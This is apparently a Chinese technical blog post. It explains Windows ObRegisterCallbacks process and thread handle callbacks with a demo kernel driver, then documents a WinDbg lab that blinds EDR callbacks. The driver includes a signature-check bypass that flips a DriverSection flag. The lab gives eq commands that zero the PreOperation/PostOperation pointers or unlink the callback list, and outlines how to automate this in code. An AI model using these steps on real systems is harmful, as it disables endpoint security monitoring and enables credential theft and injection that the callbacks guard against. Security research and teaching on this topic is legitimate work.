Pre 和 Post 两种回调
设计目的
ObRegisterCallbacks 是 Windows 提供给内核驱动的句柄操作拦截机制,在进程/线程句柄被创建或复制时触发。
Pre 和 Post 分别对应操作的前后两个时机:
1 2 3 4 5 6 7 8 9
| 调用方请求 OpenProcess() ↓ [PreOperation] ← 句柄还没创建,可以修改权限 ↓ 内核创建句柄 ↓ [PostOperation] ← 句柄已创建,只能观察 ↓ 句柄返回给调用方
|
PreOperation
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| OB_PREOP_CALLBACK_STATUS PreOperationCallback( PVOID RegContext, POB_PRE_OPERATION_INFORMATION OpInfo ) 时机:句柄创建/复制之前 能做什么:
读取 DesiredAccess(调用方请求的权限) 修改 DesiredAccess,去掉危险权限 记录谁在访问什么进程
典型用途: c// EDR 常见操作:去掉 lsass 的读内存权限 if (IsLsass(targetProcess)) { OpInfo->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_READ; // 强制去掉读内存权限 }
|
PostOperation
1 2 3 4 5 6 7 8 9 10 11 12
| VOID PostOperationCallback( PVOID RegContext, POB_POST_OPERATION_INFORMATION OpInfo ) 时机:句柄创建/复制之后 能做什么:
观察最终授予的权限 记录日志 不能再修改权限(句柄已经发出去了)
典型用途:纯审计/日志场景
|
Operations 字段的含义
注册时指定触发哪些操作:我们的驱动注册的是两种
1 2
| OB_OPERATION_HANDLE_CREATE // OpenProcess/OpenThread OB_OPERATION_HANDLE_DUPLICATE // DuplicateHandle
|
对应节点里 +0x10 Operations = 00000001’00000003:
1 2 3
| 0x1 = OB_OPERATION_HANDLE_CREATE 0x2 = OB_OPERATION_HANDLE_DUPLICATE 0x3 = 两者都有(0x1 | 0x2)
|
整体关系图
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| ObRegisterCallbacks() ↓ 注册一个 CALLBACK_ENTRY ↓ 对应 PsProcessType 和 PsThreadType 各挂一个 CALLBACK_ENTRY_ITEM 到 CallbackList ↓ 每次 OpenProcess / DuplicateHandle ↓ 内核遍历 CallbackList 依次调用每个节点的 PreOperation ↓ 执行句柄操作 ↓ 依次调用每个节点的 PostOperation
|
总结
PreOperation时机句柄创建前能修改权限✅,只能降权不能完全阻止,用途保护 lsass、防注入
PostOperation句柄创建后不能阻止操作,不能修改权限,用途审计日志
这就是为什么 EDR 主要使用 PreOperation——只有在这个时机才能真正干预句柄权限。
案例代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192
| #include <ntifs.h>
PVOID g_CallbackHandle = NULL; UNICODE_STRING g_Altitude; WCHAR g_AltitudeBuffer[] = L"388888";
OB_PREOP_CALLBACK_STATUS PreOperationCallback( _In_ PVOID RegContext, _In_ POB_PRE_OPERATION_INFORMATION OpInfo ) { UNREFERENCED_PARAMETER(RegContext);
if (OpInfo == NULL) { return OB_PREOP_SUCCESS; }
const BOOLEAN isProcess = (OpInfo->ObjectType == *PsProcessType); const BOOLEAN isThread = (OpInfo->ObjectType == *PsThreadType);
if (!isProcess && !isThread) { return OB_PREOP_SUCCESS; }
HANDLE callerPid = PsGetCurrentProcessId();
HANDLE targetPid = 0; if (isProcess && OpInfo->Object) { targetPid = PsGetProcessId((PEPROCESS)OpInfo->Object); } else if (isThread && OpInfo->Object) { PEPROCESS targetProc = IoThreadToProcess((PETHREAD)OpInfo->Object); if (targetProc) { targetPid = PsGetProcessId(targetProc); } }
ACCESS_MASK desired = 0; if (OpInfo->Operation == OB_OPERATION_HANDLE_CREATE) { desired = OpInfo->Parameters->CreateHandleInformation.DesiredAccess; } else if (OpInfo->Operation == OB_OPERATION_HANDLE_DUPLICATE) { desired = OpInfo->Parameters->DuplicateHandleInformation.DesiredAccess; }
DbgPrint("[ObDemo] %s op=%s caller=%llu target=%llu access=0x%08X\n", isProcess ? "PROCESS" : "THREAD", OpInfo->Operation == OB_OPERATION_HANDLE_CREATE ? "CREATE" : "DUPLICATE", (ULONG64)(ULONG_PTR)callerPid, (ULONG64)(ULONG_PTR)targetPid, desired );
return OB_PREOP_SUCCESS; }
NTSTATUS RegisterCallbacks(VOID) { OB_CALLBACK_REGISTRATION cbReg = { 0 }; OB_OPERATION_REGISTRATION opRegs[2] = { 0 };
g_Altitude.Buffer = g_AltitudeBuffer; g_Altitude.Length = (USHORT)(wcslen(g_AltitudeBuffer) * sizeof(WCHAR)); g_Altitude.MaximumLength = g_Altitude.Length + sizeof(WCHAR);
opRegs[0].ObjectType = PsProcessType; opRegs[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; opRegs[0].PreOperation = PreOperationCallback; opRegs[0].PostOperation = NULL;
opRegs[1].ObjectType = PsThreadType; opRegs[1].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; opRegs[1].PreOperation = PreOperationCallback; opRegs[1].PostOperation = NULL;
cbReg.Version = OB_FLT_REGISTRATION_VERSION; cbReg.OperationRegistrationCount = 2; cbReg.Altitude = g_Altitude; cbReg.RegistrationContext = NULL; cbReg.OperationRegistration = opRegs;
NTSTATUS status = ObRegisterCallbacks(&cbReg, &g_CallbackHandle); if (NT_SUCCESS(status)) { DbgPrint("[ObDemo] ObRegisterCallbacks OK handle=%p\n", g_CallbackHandle); } else { DbgPrint("[ObDemo] ObRegisterCallbacks FAILED status=0x%08X\n", status); } return status; }
VOID DriverUnload(_In_ PDRIVER_OBJECT DriverObject) { UNREFERENCED_PARAMETER(DriverObject);
if (g_CallbackHandle) { ObUnRegisterCallbacks(g_CallbackHandle); g_CallbackHandle = NULL; DbgPrint("[ObDemo] ObUnRegisterCallbacks OK\n"); } DbgPrint("[ObDemo] Driver unloaded\n"); }
BOOLEAN BypassCheckSign(PDRIVER_OBJECT pDriverObject) { #ifdef _WIN64 typedef struct _KLDR_DATA_TABLE_ENTRY { LIST_ENTRY listEntry; ULONG64 __Undefined1; ULONG64 __Undefined2; ULONG64 __Undefined3; ULONG64 NonPagedDebugInfo; ULONG64 DllBase; ULONG64 EntryPoint; ULONG SizeOfImage; UNICODE_STRING path; UNICODE_STRING name; ULONG Flags; USHORT LoadCount; USHORT __Undefined5; ULONG64 __Undefined6; ULONG CheckSum; ULONG __padding1; ULONG TimeDateStamp; ULONG __padding2; } KLDR_DATA_TABLE_ENTRY, * PKLDR_DATA_TABLE_ENTRY; #else typedef struct _KLDR_DATA_TABLE_ENTRY { LIST_ENTRY listEntry; ULONG unknown1; ULONG unknown2; ULONG unknown3; ULONG unknown4; ULONG unknown5; ULONG unknown6; ULONG unknown7; UNICODE_STRING path; UNICODE_STRING name; ULONG Flags; } KLDR_DATA_TABLE_ENTRY, * PKLDR_DATA_TABLE_ENTRY; #endif
PKLDR_DATA_TABLE_ENTRY pLdrData = (PKLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection; pLdrData->Flags = pLdrData->Flags | 0x20;
return TRUE; }
NTSTATUS DriverEntry( _In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath ) { UNREFERENCED_PARAMETER(RegistryPath);
BypassCheckSign(DriverObject);
DbgPrint("[ObDemo] DriverEntry\n");
DriverObject->DriverUnload = DriverUnload;
return RegisterCallbacks(); }
|

windbg手动Object 回调致盲全过程
一、数据结构
_OBJECT_TYPE(偏移 Win10/Win11)
1 2 3
| +0x000 TypeList +0x010 Name +0x0c8 CallbackList ← LIST_ENTRY,回调链表头
|
_CALLBACK_ENTRY_ITEM(未公开结构)
1 2 3 4 5 6 7 8
| +0x00 EntryItemList.Flink ← 链表前向指针 +0x08 EntryItemList.Blink ← 链表后向指针 +0x10 Operations ← CREATE/DUPLICATE 标志 +0x18 CallbackEntry ← 指向注册块 +0x20 ObjectType ← 指向所属 OBJECT_TYPE +0x28 PreOperation ← 操作前回调函数指针 ← 目标 +0x30 PostOperation ← 操作后回调函数指针 ← 目标 +0x38 unk
|
二、定位过程
第一步:找 CallbackList 头
1 2
| dt nt!_OBJECT_TYPE poi(PsProcessType) dt nt!_OBJECT_TYPE poi(PsThreadType)
|
读取 +0x0c8 CallbackList 的地址。
第二步:找链表头的真实地址
CallbackList 本身是嵌入在 _OBJECT_TYPE 里的 LIST_ENTRY,它的地址 = _OBJECT_TYPE基址 + 0xc8
1
| dx -r1 (*((ntkrnlmp!_LIST_ENTRY *)0x<CallbackList地址>))
|
读出 Flink,即第一个 _CALLBACK_ENTRY_ITEM 的地址。
第三步:确认节点内容
确认 +0x28 处是你要致盲的回调函数地址。
三、致盲操作
方法一:清零回调函数指针(推荐,不破坏链表结构)
1 2
| eq <节点地址>+28 0 ← 清零 PreOperation eq <节点地址>+30 0 ← 清零 PostOperation
|

方法二:摘链(让链表头自指,节点孤立)
1 2
| eq <CallbackList地址> <CallbackList地址> ← Flink 自指 eq <CallbackList地址+8> <CallbackList地址> ← Blink 自指
|

四、本次实验具体地址
| 对象 |
CallbackList头 |
节点地址 |
PreOperation偏移地址 |
| Process |
ffffca0f'2e0d8208 |
ffffa60d'768697c0 |
768697c0+28 |
| Thread |
ffffca0f'2e0d84c8 |
ffffa60d'76869800 |
76869800+28 |
五、注意事项
| 项目 |
说明 |
| Win7 CallbackList偏移 |
+0x0c0 |
| Win10/Win11 CallbackList偏移 |
+0x0c8 |
| 清零指针 vs 摘链 |
清零更安全,不破坏链表结构 |
| 重启后恢复 |
所有修改只在运行时内存,重启自动恢复 |
| 驱动卸载 |
ObUnRegisterCallbacks 正常卸载不受影响 |
如何寻找所需数据结构
那么现在知道了回调函数的位置在哪儿,新的问题是如何通过代码定位PsProcessType和PsThreadType 这两个全局内核变量。
通过IDA 的交叉引用可以找到调用了PsProcessType 和PsThreadType 的函数,并且还这个函数还需要是ntoskrnl.exe 的导出函数,因为这样我们就可以像上篇文章中删除进程回调那样去获取PsProcessType 和PsThreadType 的地址。
引用于https://mp.weixin.qq.com/s/ZMTjDMMdQoOczxzZ7OAGtA

通过分析发现NtDuplicateObject()函数中引用了PsProcessType 全局内核变量,而在NtOpenThreadTokenEx() 函数中引用了PsThreadType 全局内核变量。并且这两个函数在win7上也引用了相应的变量,同时也是ntoskrnl.exe 的导出函数。
这样代码逻辑就通了:首先定位PsProcessType 和PsThreadType全局内核变量地址,根据偏移获得CALLBACK_ENTRY_ITEM的双向链表结构,遍历此结构将PreOperation 和PostOperation 指向的地址置0。